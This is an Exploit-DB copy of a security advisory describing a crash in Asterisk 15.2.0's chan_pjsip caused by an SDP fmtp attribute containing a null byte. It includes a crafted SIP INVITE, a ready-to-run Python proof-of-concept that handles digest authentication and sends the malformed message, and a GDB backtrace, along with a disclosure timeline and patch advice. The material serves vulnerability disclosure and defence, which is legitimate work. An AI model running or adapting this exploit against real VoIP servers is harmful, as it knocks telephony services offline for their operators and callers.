Asterisk chan_pjsip 15.2.0 - 'SDP fmtp' Denial of Service

EDB-ID: 44183
Author: EnableSecurity
Published: 2018-02-27
CVE: N/A
Type: Dos
Platform: Linux
Aliases: N/A
Advisory/Source: Link
Tags: Denial of Service (DoS)
Vulnerable App: Download Vulnerable Application

 # Segmentation fault occurs in asterisk with an invalid SDP fmtp attribute 

- Authors:
- Alfred Farrugia <[email protected]>
- Sandro Gauci <[email protected]>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip`
- References: AST-2018-003
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-02-asterisk-pjsip-sdp-invalid-fmtp-segfault/>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-003.html>
- Timeline:
- Issue reported to vendor: 2018-01-15
- Vendor patch made available to us: 2018-02-05
- Vendor advisory published: 2018-02-21
- Enable Security advisory: 2018-02-22


## Description

A specially crafted SDP message body with an invalid fmtp attribute causes a
segmentation fault in asterisk using `chan_pjsip`.


## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use.


## How to reproduce the issue

The following SIP message was used to reproduce the issue:

```
INVITE sip:[email protected]:5060 SIP/2.0
To: <sip:[email protected]:5060>
From: Test <sip:[email protected]:5060>
Call-ID: adc9caea-2d0a-40af-9de5-1dd21387e03a
CSeq: 2 INVITE
Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bKadc9caea-2d0a-40af-9de5-1dd21387e03a
Contact: <sip:[email protected]>
Content-Type: application/sdp
Content-Length: 228

v=0
o=- 1061502179 1061502179 IN IP4 172.17.0.1
s=Asterisk
c=IN IP4 172.17.0.1
t=0 0
m=audio 17000 RTP/AVP 9 0 101
a=rtpmap:8 alaw/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp\x00:101 0-16
a=sendrecv
```

Notes:

- `\x00` should be replaced by the null character
- authentication may be required
- the destination SIP address should match a valid extension in the dialplan.

To facilitate this process we wrote the following python program to reproduce this issue:
'''

python
import socket
import re
import md5
import uuid

SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
UDP_IP = "0.0.0.0"
UDP_PORT = 13940
USERNAME = "5678"
PASSWORD = "5678"
INVITE_USERNAME = "5678"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))

callid = str(uuid.uuid4())

sdpbody = "v=0\r\no=- 1061502179 1061502179 IN IP4 172.17.0.1\r\n" \
"s=Asterisk\r\n" \
"c=IN IP4 172.17.0.1\r\n" \
"t=0 0\r\n" \
"m=audio 17000 RTP/AVP 9 0 101\r\n" \
"a=rtpmap:8 alaw/8000\r\n" \
"a=rtpmap:0 PCMU/8000\r\n" \
"a=rtpmap:101 telephone-event/8000\r\n" \
"a=fmtp\x00:101 0-16\r\n"\
"a=sendrecv"

msg="INVITE sip:%[email protected]%s:%i SIP/2.0\r\n" \
"To: <sip:%[email protected]%s:%i>\r\n" \
"From: Test <sip:%[email protected]%s:%s>\r\n" \
"Call-ID: %s\r\n" \
"CSeq: 2 INVITE\r\n" \
"Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
"Contact: <sip:%[email protected]>\r\n" \
"Content-Type: application/sdp\r\n" \
"{{AUTH}}" \
"Content-Length: %i\r\n" \
"\r\n" % (
INVITE_USERNAME, SERVER_IP, SERVER_PORT,
INVITE_USERNAME, SERVER_IP, SERVER_PORT,
USERNAME, SERVER_IP, SERVER_PORT,
callid, callid,
USERNAME, len(sdpbody)
) + \
sdpbody

sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT))

data, addr = sock.recvfrom(10240)

if data.startswith("SIP/2.0 401"):
for line in data.split('\r\n'):
if line.startswith("WWW-Authenticate"):
content = line.split(':', 2)[1].strip()
realm = re.search("realm=\"([a-z]+)\"", content).group(1)
nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1)
ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest()
uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
ha2 = md5.new("INVITE:" + uri).hexdigest()
r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
"realm=\"%s\"," % (realm) + \
"nonce=\"%s\"," % (nonce) + \
"uri=\"%s\"," % (uri) + \
"response=\"%s\"," % (r) + \
"algorithm=md5\r\n"

sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT))

'''
This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.

### GDB backtrace result

```
Thread 197 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff65e57700 (LWP 10595)]
pjmedia_sdp_attr_get_fmtp (attr=<optimized out>, [email protected]=0x7fff65e56430) at ../src/pjmedia/sdp.c:350
350 while (pj_isdigit(*p) && p!=end)
(gdb) bt
#0 pjmedia_sdp_attr_get_fmtp (attr=<optimized out>, [email protected]=0x7fff65e56430) at ../src/pjmedia/sdp.c:350
#1 0x00007fff6bf49070 in get_codecs (session_media=0x7fff74799540, codecs=0x7fff65e56450, stream=0x7fff97f99de0, session=0x7fff74581688) at res_pjsip_sdp_rtp.c:276
#2 set_caps ([email protected]=0x7fff74581688, [email protected]=0x7fff74799540, session_media_transport=0x7fff74799540, [email protected]=0x7fff97f99de0, [email protected]=1, [email protected]=0x7fff747a03b0)
at res_pjsip_sdp_rtp.c:352
#3 0x00007fff6bf4b2d7 in negotiate_incoming_sdp_stream (session=0x7fff74581688, session_media=0x7fff74799540, sdp=<optimized out>, index=<optimized out>, asterisk_stream=0x7fff747a03b0) at res_pjsip_sdp_rtp.c:1185
#4 0x00007ffff1a16bb9 in handle_incoming_sdp ([email protected]=0x7fff74581688, sdp=0x7fff97f99870) at res_pjsip_session.c:671
#5 0x00007ffff1a1a721 in new_invite (invite=<synthetic pointer>) at res_pjsip_session.c:2871
#6 handle_new_invite_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:2966
#7 session_on_rx_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:3030
#8 0x00007ffff7868df7 in pjsip_endpt_process_rx_data (endpt=<optimized out>, [email protected]=0x7fff573f88d8, [email protected]=0x7ffff1a0ace0 <param>, [email protected]=0x7fff65e56d44) at ../src/pjsip/sip_endpoint.c:887
#9 0x00007ffff17e009f in distribute (data=0x7fff573f88d8) at res_pjsip/pjsip_distributor.c:903
#10 0x00000000005fb3be in ast_taskprocessor_execute ([email protected]=0x1dc33a8) at taskprocessor.c:963
#11 0x0000000000602610 in execute_tasks (data=0x1dc33a8) at threadpool.c:1322
#12 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a39488) at taskprocessor.c:963
#13 0x0000000000602af0 in threadpool_execute (pool=0x1a37ca8) at threadpool.c:351
#14 worker_active (worker=0x7fff9457ccd8) at threadpool.c:1105
#15 worker_start ([email protected]=0x7fff9457ccd8) at threadpool.c:1024
#16 0x000000000060d4bd in dummy_start (data=<optimized out>) at utils.c:1257
#17 0x00007ffff5e3d6ba in start_thread (arg=0x7fff65e57700) at pthread_create.c:333
#18 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
(gdb)

```


## Solutions and recommendations

Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
'''

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